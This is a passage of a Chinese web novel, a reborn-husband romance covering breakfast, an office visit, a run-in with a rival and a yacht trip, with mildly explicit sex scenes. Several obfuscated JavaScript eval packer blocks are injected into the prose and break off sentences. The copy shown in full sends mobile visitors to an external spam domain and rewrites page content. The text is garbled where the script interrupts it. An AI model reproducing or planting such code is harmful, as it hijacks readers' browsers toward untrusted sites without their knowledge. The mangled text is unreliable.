江观潮看着他的背影消失在转角处,便收回视线,对着镜子重新整理衣服,又从一旁的衣柜里挑出西装外套和大衣。 -- 陈皓跑进浴室,热水浇下。他从昨天重生后,脑海就一直有点乱,唯一的念头就是想找到江观潮,想见江观潮。后面又变成了想被亲想被抱想被哄,黏黏糊糊的上了床,然后就心满意足,像头猪一样睡着了。 现在他才开始回想,搞不懂为什么江观潮对自己的态度,会和曾经记忆里的,有那么大的不同。 而且自己的身世曝光的时间,也提前了很多。 陈皓又想起那块不知从哪儿来的玉牌,下意识摸了摸自己空荡荡的脖颈,突然想起这会儿那场公布了自己身世的宴会,这一世还没有办,曾经的那些狐朋狗友应该还和他有联系,于是身上水都顾不上擦,推开了浴室的门,想找昨天被随意扔在这里的自己的外套,用手机和那些人打听打听消息。 江观潮的温柔,他当然是很喜欢也很享受的。但他必须弄清楚背后的原因,要是这一世原先的陈皓与现在的他有所不同,那么他也得跟着做出改变,这样一来,江观潮才不会恢复从前冷漠的模样。 四年过去,陈皓已不是当初被宠坏了的天真的小少爷,不会去想什么江观潮突然觉出了自己的好,决定喜欢自己这种事情。他只觉得其中肯定有蹊跷,而这蹊跷究竟是什么,他必须弄清楚。 可他忍着冷找了一圈,也没找到昨天换下来的衣服。想到大概是佣人打扫过了,不由懊恼地抓了抓头发,却也只能退回浴室,继续洗澡。 洗过澡吹过头,陈皓走进更衣室,给自己认认真真选了一套衣服。他喜欢亮色,喜欢红色橙色,可等他穿完衣服后,出现在穿衣镜里的,却是一个穿着白色高领毛衣和黑色长裤的青年。 昨天江观潮告诉他,他们是彼此的初恋,他们之间从来都没有其他人存在。 可模仿喻橙的风格去穿着打扮,却已经成了这四年里,陈皓的习惯。 他看着镜子里的自己,抿了抿唇,又拿出一件浅鹅黄的羽绒外套穿上,匆匆下楼。 一楼客厅里,江观潮正坐在餐桌旁回复消息。陈皓走到他身边,轻轻点了点他的肩膀:“我好啦,可以走了。” 江观潮收回手机,看了他一眼。陈皓下意识有点紧张,想知道他会对自己的打扮做什么评价。然而男人只是道:“不急,先吃早饭。” “我不饿,”陈皓有点失望,拉了拉身上的外套:“你再不走,不会迟到吗?” 江观潮道:“不会,今天去只是处理几份文件。坐下吧,你昨天就只吃了点汤和肉,这会儿也该饿了。” “真的不用……”陈皓这么说着,却还是老老实实坐了下来。选的不是江观潮对面的位置,而是江观潮的身边。佣人很快端上粥和小笼包,摆到他的面前。 陈皓拿起筷子:“江观潮,你吃过了吗?” “吃过了。”江观潮说。 “我不信,”陈皓眯起眼:“你陪着我吃。” 江观潮转头扫了一眼,佣人立马会意,转身回到厨房,又端了一份早餐出来。 陈皓这才满意,开始动筷。 小少爷说着不吃不吃,真动了筷子,才感觉出来饿,喝了一碗粥又吃了两笼小笼包,要不是江观潮怕他中午吃不下东西,在旁边拦着,他还能继续再吃两笼。 “不是说不饿吗?”吃完东西后,江观潮难得狭促地打趣了一句。 陈皓耳朵红了红:“那硬吃也不是吃不下去。对了,冯姨呢?我手机昨天塞口袋里,今天不知道放哪儿去了。” “我这。”江观潮从口袋里拿出陈皓的手机递给他,又拿出了那枚玉牌。 陈皓见到玉牌,愣了下。 他以为这东西是爸妈或是大哥送他的东西,只是他弄忘了,昨天重生匆忙,他把东西摘下来,想等着改天再还回去。 这会儿他才隐隐约约意识到,事情好像不是他想的那样。 -- 江观潮拿出玉牌的时候,本想和陈皓摊牌。但见到小少爷先是震惊,紧跟着又困惑心虚的表情,忽然就起了捉弄的心思。 “我看后面的绳子断了,就帮你重新接好了。”江观潮站起身,走到陈皓身后,帮他将玉牌重新戴好。 陈皓握着玉牌,支支吾吾地说了声“好”。他大概误会了这东西是江观潮送的,连忙解释道:“昨天、昨天雨下的太大了,我怕它碎了,才放口袋的。” “没事。”江观潮摸了摸他的下巴:“弄碎了让我妈再送你一个。” 陈皓瞪着眼,彻底懵了。 一直到江观潮带着他上车,车窗外的风景开始变化,陈皓都没回过神来。 什么? 这玉牌是江观潮的妈妈送给自己的?! 等等,为什么? 在陈皓的印象里,江家人都是极 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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【喻橙:你最好还是早点认清现实,把位置让出来。】 江观潮皱起眉。 他从不知道,喻橙会在私下里对陈皓说这些话。 “他还喊你观潮……”小少爷靠着他的胳膊,委屈巴巴地说。 “不用理他。”江观潮帮他把手机屏幕按灭,低头,在陈皓的唇上亲了下:“相信我就好。” 陈皓仰头和他接吻,间隙里含糊地问:“那你不会和我离婚,对不对?” “不会的。”江观潮轻轻咬了咬他的唇。 “可我还是不放心。”陈皓得寸进尺的毛病再次冒了出来:“这段时间让我和你一起上班好不好,你去哪儿我去哪儿,我保证保证不会给你添麻烦的。” “最近吗?”江观潮道:“恐怕不行。” 陈皓的脸立马垮了下来:“为什么?” “因为我们要去游艇度假。”江观潮捏捏他的脸:“还是你自己要求的,忘了?今天回去处理完文件,下午就出发,行李和游艇都已经准备好了。” 陈皓大叫一声,手臂张开抱住江观潮,狠狠亲了他一口:“啊啊啊游艇度假!!我爱你我爱你我爱你——” 江观潮稳住他的身体,脸上难得显露出些许笑意:“我也爱你。” 19.不恨 今天是工作日,江氏集团的写字楼早早就忙碌起来。钢铁浇筑而成的建筑里,员工们如同勤劳的工蚁来来往往,各司其职,为维持这座庞然大物的运转而贡献着自己的时间。 当然,在这里工作的报酬也十分可观。能进入江氏,无疑是拿到了踏入精英阶层的敲门砖。 身穿职业套装的前台刚和访客确定完预约的时间,活动了下酸痛的脖颈,正想拿起桌上的咖啡喝一口,就被旁边的同事飞快地戳了两下手臂。 她差点拿不稳咖啡,有些恼火地转头,同事却一通使眼色,让她往门口看。 前台看了过去,旋即脸上露出震惊的神情。 只见他们高大英俊的年轻总裁穿着深蓝西服和格子大衣,正大步走进写字楼,这样的情景在江氏并不少见,这道风景,也是不少同事每天的养眼环节。 但今天,总裁的手臂上却挽了一个白皙漂亮的青年,那青年眉眼锐利,抬着下巴,用高傲的神情环视一周,仿佛一只正在开屏的小孔雀。 “那是……”同事因难以置信而有些迟疑道:“小陈少吗?” 前台呆呆地点了点头。 其他人或许会因为不熟悉认不出来,但他们前台时不时就要帮这个小少爷开电梯的权限,通知江总他的丈夫来了,因此是绝不会认错的。 但三年了,每次都是小陈少自己跑过来找江总,像这样搂着江总两人一起到公司来,还是头一回。 “都结婚三年了,夫夫感情还是这么好,真羡慕。”同事道。 前台却想到每次电话时,江总那不耐烦的语气,再看男人与青年十指交握的手,一边点头,一边偷偷地想,小陈少这是终于把冰山给捂化了啊,可喜可贺,就是不知道以后还能不能吃到小陈少给他们点的甜品了。 -- 总裁办公室,江观潮的秘书助理早就拿着文件等候在里面,见到江观潮和陈皓一同走进来,两人不约而同地对视一眼,又同时打招呼道:“江总好,陈少好。” 陈皓不是第一次来这间办公室,却是第一次由江观潮亲自带着进来。眼前的秘书和助理他也不陌生,只是以前他们汇报工作,他则窝在沙发里打游戏,算起来,这竟然是头一回正式打招呼。 “早上好。”那种自己终于正式融入江观潮生活的感觉,让陈皓不由得心情飞扬,又想到正是这两人帮忙处理工作,江观潮才能腾出空来带自己去度假,于是补了一句:“辛苦你们了。” 秘书忙道:“不辛苦不辛苦,这都是我们应该做的。” 助理附和道:“都是分内之事,陈少客气了。” 江观潮捏了捏陈皓的手指:“去旁边玩会儿游戏,等会就好。” 陈皓乖乖点头,正想松手,却不想江观潮牵着他,像对待需要呵护的小朋友一样,将他领到沙发前才离开。 助理很有眼色地问:“茶水间里准备了提拉米苏当员工的下午茶,刚好有多的,陈少需要吗?” 陈皓还没开口,江观潮就道:“不用,倒杯热水就行。别给他吃太多甜东西。” 陈皓嘴唇不满地噘起来,心里却甜滋滋的,在江观潮脸上吧唧亲了一口,便坐进沙发里,玩手机去了。 助理依言倒了热水来,轻轻放到陈皓面前。 陈皓朝他笑了笑,心思却不受控制地想,这样名正言顺、被所有人承认的滋味,这一世的自己,究竟尝过多少次。 这么想着,小少爷拿起了手机,点进聊天软件,开始和那些狐朋狗友打听消息。 -- 剩下的几份文件都是极为重要的核心文件,几个部门的管理层在办公室进进出出,江观潮一刻不停地交流处理,只偶尔端起茶杯润润嗓子,终于赶在中午十一点前做完了工作。 他简单收拾了下桌面,起身走到沙发旁,低头一看,不由轻笑。 小少爷窝在沙发里,已经睡着了,手机掉在一旁的地毯上,还亮着聊天界面。 江观潮伸手,轻轻摸了摸他的脸,却不想这轻柔的动作,竟让熟睡的青年猛地惊醒过来。他腾地坐起身,怔怔地瞪着江观潮,嘴唇微微发抖,过了一会儿回过神来,才低下头,揉了揉眼睛。 江观潮愣住。 他记得陈皓以前睡觉是很沉的,新年外面放鞭炮笑闹声一片,小少爷也能在各种吵闹里自顾自睡得很香。 可现在,只是一个触碰,就让他醒了过来,醒的时候神情还这么警觉。 那四年里,陈皓究竟经历了什么? 陈皓已经清醒,朝江观潮笑了笑:“工作做完啦?我刚刚太困了,就睡着了。” 江观潮道:“累的话多睡会也可以。” 陈皓用力摇头:“不要!就算睡,我也要到游艇上再睡。” 江观潮柔和了神情,拉他坐起来,一边帮他整理衣服,一边装作无意地问:“刚刚是梦到什么了吗?” “啊?啊,那什么……”陈皓吞吐了一下,笑了笑:“就,做了个噩梦而已。” 江观潮道:“什么噩梦?” 陈皓显然不想回答,移开视线,试图转移话题:“你怎么突然好奇起这个了?明明今天我特地打扮了,你都没在意。” “不是没在意,是你穿什么都好看。”江观潮替他将额前的碎发拨开,注视着他的眼睛:“告诉我,噩梦做了什么?” “告诉你的话,会怎么样?” “我不会让它变成现实。” 陈皓张了张嘴,眼眶倏然一红,扑上来搂住了江观潮的肩膀,靠在他怀里,半响后,他带着重重的鼻音道:“我梦到你出国了,不要我了……” 这句话如同一把刀,在江观潮的心窝里狠狠搅了一下。他手掌扶在陈皓的背后,拍了拍:“不会的。” “梦里我想留住你,可是你是出国去学习深造的,爸,妈,还有你父母,都让我不要耽误了你,可我好想你……”陈皓抽了抽鼻子:“我给你发了好多好多消息,但是你都没有回我……” 江观潮动了动唇,听到自己的声音问:“那你没有去国外找我吗?” “我去不了。”陈皓眼泪落下,哽咽着:“我的签证在我爸妈那,喻橙……喻橙让大哥还有圈子里的人拦着,不让我找你,也没有人帮我。后来你的电话号码换了,我连消息都没办法给你发,只能一直一直等你,我、我等了你好久……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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陈皓说着,语气渐渐低落了下去。 江观潮道:“他们没有不要你。” “但是有喻橙在,他们也不可能对我好啦。”陈皓笑着道:“算了,反正血缘这件事,我也改变不了,更不可能因为这种事恨你,你又不是在说谎,只是说了实话。” 江观潮定定看着他。 “至于那个梦,我也很支持你出国学习的,你想变得更好,我怎么可能拦你,更不可能因此恨你,就是你要是能回我个消息什么的就好了,至少别换电话号码……怎么啦?”陈皓被江观潮一动不动地看着,耳根有点儿红,他以为自己脸上因为刚刚的哭泣挂了什么东西,抬手想要摸自己的脸。 但手刚抬起来,就被江观潮给握住了。 “我想做。”江观潮说。 陈皓微微睁大了眼。 这是他的丈夫第一次向他求欢。 一定要写在记事簿上、写在日历本上、写在重大事件记录册上、塞进聊天软件的云收藏里……总之一定不能弄忘了。 脑海里飞快掠过这些想法,面上,陈皓只是吞咽了一下:“在、在这里吗?” 江观潮将他抱起来,大步走向一旁的休息室。 20.他的 前世的江观潮在国外换了号码,却还留着原先的,明明已经通知了亲朋好友自己新的联系方式,旧的号码,仍然保持着开机状态。 其中原因,当时的他也说不明白。就像他同样不知道,为什么在发现陈皓不再给他发消息后,自己的心会像是空了一块,四处透风。 那时他想,陈皓年轻漂亮,以前就贪玩,现在自己离开了,他喜欢上其他人,也是很自然的事。 何况这不正是他想要的吗?让陈皓离开他的世界,去喜欢其他人,他只要一个理性的、循规蹈矩的轨迹。 可他的小少爷却说,他一直爱着他,从未停止过。不来找他,不给他发消息,其实另有原因。 出身于商贾世家,又是家中长子,被父母当成公司的继承人培养,江观潮自己也以商人的标准要求自己。冷心冷肺,并怀疑每一个人隔着肚皮的那颗心脏。他不信人,也不爱人。对着陈皓的表白示爱,他自始至终都没有当真过。 忽视、怀疑、冷待,他就这么把一个傻乎乎的爱着自己、自己也爱着的小少爷给弄丢了。 休息室里,江观潮用嘴唇将陈皓的全身吻遍。他想起前世的葬礼,想起那场仿佛永无尽头的雨,想起摆在花圈正中的,小少爷的照片。于是他的动作更加用力,紧紧地拥着怀里温热的身体,好似想要通过这种方式,将那沁入骨髓中的冰冷潮湿给驱散出去。 陈皓惦念着江观潮的眼泪,也竭尽全力地配合他、讨好他,整个人缠在男人身上,任其索取。甚至因为对方愿意要他,而雀跃不已。 结束后,江观潮抱着陈皓去浴室洗澡,这回只做了一次,陈皓还有余力搂着他的脖子,叽叽喳喳说着中午想要吃的东西。 “出门前的一趟一定要吃好一点。”小少爷看着给他清理的江观潮,一本正经道:“这样我们的旅程才能一帆风顺。” 江观潮道:“想吃什么?” “城东那家日料店的滑蛋肥牛饭。”陈皓眼睛亮晶晶道:“他家的炸鸡也好好吃,我要吃!” 江观潮自然答应:“好,我现在让人打电话去订座。” -- 陈皓喜欢喝酒,但不爱喝花酒。喜欢吃东西,但不爱应酬。喜欢玩,但从不沾不该沾的东西。 以圈子里的标准来看,陈皓无疑是个被陈家宠坏了的小废物,只知道吃喝玩乐,其他什么都不会。包括江观潮,也是这么认为的。 但他以前从不知道,一个乖乖的、只属于他的小废物,能这么让他喜欢。他现在无比理解陈家夫妇和陈绪文对陈皓的过度保护。江观潮现在只想要造一个同样的温室,将他的小少爷、小废物好好地养在里面,不受一点风雨的侵扰,陈皓想做什么就做什么,想要什么,他都会给他。 城东的日料店的菜品的确很好,收费再贵也止不住生意火爆。江观潮没要司机送他们,一路上一边听陈皓说度假的计划,一边开车,手指在方向盘上轻轻打着拍子,心情显而易见的轻快。 将车开到店门口时,早有侍者在店门口等着帮他泊车。江观潮下车,走到副驾驶前,帮陈皓打开了车门。 “等一下等一下!”陈皓朝他摆手:“你先进去点菜,我手机怎么找不到了……” 小少爷丢三落四是常态,光是这两天,江观潮就见到他东西放在各种不同的地方,然后一同乱找的样子:“不用我等你?” 陈皓边找手机,边理直气壮道:“我饿了,所以你要先去点菜!” 江观潮轻笑一声:“行,座位号记住了吧?我先进去了。” 他将车钥匙递给一旁的侍者,让他在旁边等着陈皓找手机,自己先进了店。 店家给他留的是里面的靠窗卡座,安静不说,还能看到后院的花草树木。江观潮按照陈皓的口味点了几道菜,服务员刚走开,他身边就传来一道略带惊讶的声音:“观潮哥哥?” 这个称呼让他皱了皱眉,转头看去,神情瞬间就沉了下来。 只见喻橙跟在陈绪文身边,正瞪大眼睛,有点惊喜地看着他:“真的是你!好巧啊,你也来这边吃饭吗?要不要一起?” 陈绪文看到他,也明显有些意外,朝他点了点头。 对于喻橙,江观潮曾只当陌生人看待,对方的追求,更从未被他放在心上。但现在,他知道了对方对陈皓做过的那些事、说的那些话,态度中不由得带了几分不耐:“我是和皓皓一起来的。” “皓皓?”喻橙听了他的话,脸上笑意很明显地僵住,似乎有些难以相信他对陈皓的称呼,于是确认了一遍:“陈皓吗?” 江观潮没有回答,倒是旁边的陈绪文笑道:“皓皓现在怎么样?我爸妈给他打了很多电话,他都没回。” “他很好。”江观潮淡淡道:“不好意思,今天我只想和我的丈夫享受二人世界,不方便共享,烦请陈总和喻少另找座位。” 陈绪文挑了挑眉,说不意外是假的。陈皓对江观潮死缠烂打,江观潮万般不耐,这些年他都看在眼里。本以为江观潮是如其他人所说的那样,自始至终喜欢的,都是自小竹马竹马一同长大的前未婚夫,喻橙。可现在,陈皓的身世已经曝光,喻橙也回到了陈家,江观潮非但没有如他们预料的那样,选择和陈皓离婚,反而和陈皓的感情更好了。 “观潮哥哥……”喻橙忍不住道:“什么丈夫,你不是一直都想和他离婚的吗?” 江观潮想起那条他发到陈皓手上的消息,眸中掠过冰冷的颜色:“谁和你说的?” 喻橙被他看得缩了缩身体,忍不住往陈绪文身后躲了下:“是伯母和喻妈妈说的,她说你在陈皓身边受了很多委屈,早就想和他离婚了……” -- 陈皓最后在座位的夹缝里找到了自己的手机,估计是刚刚和江观潮说话的时候太开心,手机从他腿上滑了下去也没被注意到。 哼着小曲走下副驾驶,陈皓关上车门,小跑着往店里走去。 问过门口的服务员后,他很快就找到了江观潮,并且一眼就看到了,站在座位旁的大哥和喻橙。 “……伯母和喻妈妈说的,她说你在陈皓身边受了很多委屈,早就想和他离婚了……” 陈皓脚步顿住。 他所在的位置隔得不远不近,旁边正好有个挡板可以供他藏身。于是他几乎是下意识地往旁边挪了一步,屏住了呼吸。 江观潮早就想和他离婚了。 可是,可是就在几小时前,男人才搂着他,和他说了“我爱你”。 喻橙。又是喻橙!前世就是他,因为他,父母和大哥为了表态,远离了自己,圈子里的那些不靠谱的酒肉朋友也一个二个对自己冷嘲热讽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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喻橙还想说什么,却被陈绪文拦住。“是,我们等会还有事,先走了。”男人推了推眼镜,看着座位上靠在江观潮身上的青年道:“皓皓,有空给爸妈回个电话,他们都很担心你。” 陈皓不看他,只闷闷道:“知道了。” 陈绪文点点头,一手覆在喻橙的背后,带他离开。 走到店外,喻橙忿忿道:“哥,为什么不让我说完?而且我也饿了啊,我也要吃饭!” “等会儿带你去其他店,那家东西更好吃。”陈绪文道:“不让你说完是没必要,江观潮的态度已经很明白了。” “肯定是陈皓逼他的!”喻橙道:“他真的不喜欢他,刚刚那么说,肯定是有难处……” “喻橙。”陈绪文打断了他的话:“我和爸妈都没有再帮皓皓了,他还能用什么来逼迫江观潮?” 喻橙张了张嘴,却说不出话,半响红了眼睛:“你们就是偏心陈皓!当初他喜欢江观潮,你们就帮他把江观潮从我身边抢走,现在我想把江观潮抢回来,为什么你们不愿意帮我?” 陈绪文叹了口气,看着眼前的弟弟,摸了摸他的头发。 “正因为当初我们纵容了皓皓,伤害了你,所以现在,我和爸妈都不愿再重蹈覆辙了。”陈绪文道:“如果江观潮真的喜欢你,他自然会回到你身边,他不喜欢你,还有很多更好的人在未来等你,橙橙,你要家里给你举办接风宴,公布你的身份,家里都愿意满足你,愿意把属于你的东西成双成倍地补给你。但不是你的东西,爸妈和我也无能为力。” 喻橙瞪着陈绪文,别过脸去。 别人无能为力,那他就自己去拿。 21.游艇 直到看不见喻橙和陈绪文的身影,陈皓才从江观潮的怀里坐直,红着脸抱怨道:“都怪他,以后我都不想来这家店了。” 江观潮揉揉他的耳朵:“不想来,那以后想吃了就让他外送到我们家。” 陈皓抬头,眨眨眼:“可以这样吗?” “当然可以。”江观潮道:“不坐到对面去了?” “不坐,”陈皓道:“我就要坐你身边。” 江观潮戏谑道:“还想被喂饭?” 刚说完他就想起来不对,眼前的陈皓没有那部分的记忆,正想收回,却被小少爷一下子扑了上来。 “想想想想想!”陈皓搂着他的脖子,一连串地撒娇,“想被老公喂着吃!” 果然是个小孩子。江观潮扶住他的腰,应道:“好。” “江观潮,”陈皓软声道:“是不是我提什么要求你都会说好啊。” 江观潮道:“那也不是,分情况。” 陈皓好奇道:“那什么要求你会拒绝?” “比如你现在想喝冰可乐就不行。”江观潮道。 陈皓噘了噘嘴,靠在他肩膀上玩他的衣袖:“你除了我以外,还给别人喂过饭吗” “当然喂过。”江观潮回答完以后,才想起来之前给陈皓喂饭时,还没有重生的小少爷也问过同样的话。不过他这会儿才闻到这个问题背后的醋意,弹了下怀中青年的脑门:“想什么呢,我有弟弟妹妹,父母忙的时候,我会帮着照顾他们。” 不过照顾了一次,弟弟妹妹就吓得会自己好好吃饭了这件事,就没必要说了。 得到想要的答案,陈皓彻底放下心来。没多久,饭菜端了上来,小少爷立马将筷子塞到江观潮的手里,满脸期待地看着他。 有过一次喂饭的经验,江观潮也不嫌麻烦,拿了餐具,舀了饭菜送到陈皓嘴边。 先前说要喂,陈皓有一半都是在撒娇,事到临头,才发现被喂饭真的是一件很让人不好意思的事情。 但不行,原来的他一定享受过江观潮的这项服务,那他也不能输,他也要江观潮喂他! 这家店的滑蛋牛肉饭真的很好吃,除了昂贵外没有任何缺点,陈皓有很久很久没吃过了,尝到熟悉的味道,他就像跌入了某种回忆的潮流中。 曾经他也和江观潮一起来过这家店,只不过那时的男人对他十分厌恶,冷冰冰的态度,就像是对待一个仇人,餐桌上的气氛是沉默的、凝滞的。 谁能想到,现在,当初那个冷冰冰的男人会坐在他的对面,亲手拿起餐具,只因为他的一句撒娇,就亲手喂他吃饭? 陈皓咽下了嘴里的食物,眼泪却不知怎么,忽然从眼眶滑落。 江观潮愣了一下,很快从旁边拿了餐巾纸过来,他一边帮陈皓擦眼泪,一边皱眉道:“怎么了?是……东西不好吃?” 说这句话的时候,他停顿了一下,毕竟这个答案实在很荒唐,但他也想不出其他可能性了。 “不是的。”陈皓接过餐巾纸,在眼睛上随便抹了一下,“我也不知道为什么,我就觉得,你对我特别特别好,然后眼泪它就自己掉出来了……” 江观潮心中的滋味就像是小少爷的眼泪滴进了他的心里一般,收紧、发涩,复杂得无以复加。 “不哭了,”许多话掠过了他的脑海,但最后,他只是凑上前,亲了亲陈皓发红的眼睛:“我会一直对你好的。” -- 吃完饭后,眼睛因为流泪还有点发红的陈皓靠在副驾驶的位置上,很快就睡着了。江观潮把车停在机场门口时,他还抱着毯子,沉沉地睡着。 江观潮也不喊他了,停好车后,便绕到副驾驶座,动作轻缓地帮他解开了安全带。 只是稍微一动,陈皓就迷迷糊糊地醒了过来,江观潮把他连人带毯子抱出车子,在他耳边低声哄他:“没事,睡吧,我在呢。” 陈皓发出几个含糊的短音,往江观潮怀里钻了钻,真的继续睡了。 机场经理早就接到消息,等在车旁。能混到这个位置的都是人精,知道什么该看,什么不该看,脸上带着职业微笑,声音放轻:“江总,飞往南云市的专机已经准备好了。” 江观潮点了点头:“衣服都送过来了么?” “是,您和陈少的衣服都已经让人挂在机上的更衣室里了。” 江观潮“嗯”了声,没再说话。 登机后,和机长和机务人员打过招呼,江观潮便带着陈皓进了后面的小卧室。机舱内的空调开的是恒定的24度,他怕陈皓热,把人放在床上,毯子拿走放在一边,去拉他羽绒服的拉链。 刚拉到一半,小少爷就醒了,呆呆地看着半蹲在自己面前,正在解自己外套的男人。 这情景的确很容易让人误会,江观潮正想解释,便见陈皓眨了眨眼,主动脱了外套,又把毛衣拉起来,动作间露出大片大片洁白的皮肤。 脱完衣服,小少爷很快钻进了被窝里,然后看着他,拍了拍身边的位置。 面对主动得可爱的小爱人,江观潮在解释和接受邀请之间,几乎没什么犹豫地选择了后者。 这一次做完后,陈皓依偎在江观潮怀里,连抬手指的力气都没有了。 吃饱了睡觉,睡饱了做,这生活真是没谁了。他蹭了蹭江观潮的肩膀,小声道:“今晚不能做了,明天我要攒足精神玩,知道了没,不准再诱惑我了。” 江观潮听了,有点好笑:“我诱惑你吗?” “对啊。”陈皓道:“你一主动,我就把持不住,所以你不能主动,知道了没?” “知道了。”在小少爷身边,江观潮的身心都得到了完全的满足,空荡荡的冷漠的内心被填满,有了温度,于是对事对人的态度也跟着温柔起来。他在陈皓唇上亲了亲,看了眼时间:“还有一个小时到目的地,想睡会儿,还是洗澡换衣服?” “不睡啦,刚刚睡够了。”陈皓坐起身,看向江观潮,突然面露犹豫。 江观潮注意到了,“嗯?”了一声。 “洗澡的时候,你不能……算了,我们不能一起洗!” 江观潮无奈道:“你都说不做了,我不会碰你的。” “不是那个!”陈皓红着脸:“是我看到你的、你的那个,会忍不住,所以你不要进来!我先洗!”说完跳下床,小跑着钻进了浴室。 江观潮靠在床上,愣了一会儿,才忍不住笑了起来。他伸了个懒腰,起身,透过舷窗看到窗外蓝天白云,心情是前所未有的轻松愉快。 只有陈皓,只有在陈皓身边,能带给他这种感觉。 以前的他,怎么会连这么简单的事都弄不明白? -- 原先陈皓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968233|191245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提议游艇度假的时候,是想着开那艘爸妈作为他十八岁生日礼物送给他的那艘。下了飞机,到港口时,才发现江观潮准备的是另一艘崭新的豪华游艇,最新的115型号,是个足有三十五米长的庞然大物,流线型的银白色船身在阳光下泛着珍珠母贝般的光泽,如同一座会移动的白色宫殿。 江观潮率先走下车,他已换下那身深蓝色西装,身着浅灰色亚麻衬衫和白色休闲裤,墨镜遮住了他大半张脸,却遮不住优越的下颌线和挺拔身姿。他转身,朝车内伸出手。 陈皓搭着他的手迈出车门,一身奶白色丝质衬衫配卡其色短裤,赤脚踩着帆船鞋,脖颈上挂着的玉牌在阳光下温润生光。他眯着眼打量眼前的游艇,唇角扬起:“这是你订的?” “准确来说,是补送给你的生日礼物。”江观潮道:“喜欢吗?” 陈皓吃惊地瞪大眼:“这个吗?”又迟疑道:“你今年……应该已经送过我礼物了吧?” 江观潮道:“这个才是我送给你的。” 陈皓听不懂他话里的深意,却也没有多想,看着眼前的游艇,止不住地喜欢。想问会不会太贵了,但现在理应还没吃过苦的陈家小少爷,怎么会问出这种话呢?只好忍住了。 离开家以后,陈皓过得并不算差,照例衣食无忧,卡上每个月都有足够的零用钱够他花天酒地。但那时的他,身边并不像现在这样,有江观潮陪着护着,他浑浑噩噩地离开了家,遭到了他二十多年来从没遭遇过的冷嘲热讽。 曾以为的那些朋友,一个二个都是变脸大师,落井下石的有,冷眼旁观的也有。就算有几个真的和他玩得好的,也碍于喻橙,碍于陈家,选择和他绝交。 那时的陈皓孤立无援,赛车、酒吧,曾经喜欢的娱乐统统失去了原本的乐趣。如果江观潮还在,他还能去找江观潮,就算被骂被无视也没关系。可江观潮离开了他。 一连几个月,陈皓都窝在家里,除了打游戏就是睡觉,连饭都懒得吃。最后陈绪文过来敲了他的门,把他从那个脏兮兮的屋子里拉了出来,给了他一份工作。 陈皓本不想去,不想接受这“施舍”。陈绪文却对这个一起生活了二十年的弟弟十分了解,告诉他,如果江观潮回国了,看到他住在垃圾堆里,成天除了打游戏就是睡觉的憔悴样子,会更讨厌他。 于是小少爷慢慢学会了融入社会,学会了圆滑。陈家养子的身份,给他带来了足够的便利,让他没必要去卖笑应酬,但人情往来,还是少不了的。 四年,陈皓学会了很多很多。如今重生,看到眼前的游艇,心中竟然对曾经习惯了的奢华生活产生了一种陌生的感觉。 江观潮握着他的手,带着他上了游艇。四名身着制服、戴着白手套的船员已在舷梯两侧列队等候,为首的船长是个皮肤晒成古铜色的中年人,笑呵呵地朝他们道:“江先生、陈先生,欢迎登船。我是船长李振,接下来的一周,将由我为您服务。” 江观潮道:“我们的行李都送到了吗?” “送到了,行李已经让人帮您拿到下层的主卧里了。”李振道:“需要我派人带您参观游艇内部吗?” “不用。”江观潮道:“我们自己逛逛就行。” 李振闻言,朝他恭敬地点了点头,告诉江观潮,有事可以去下层的驾驶室找他,便带着船员们一同离开。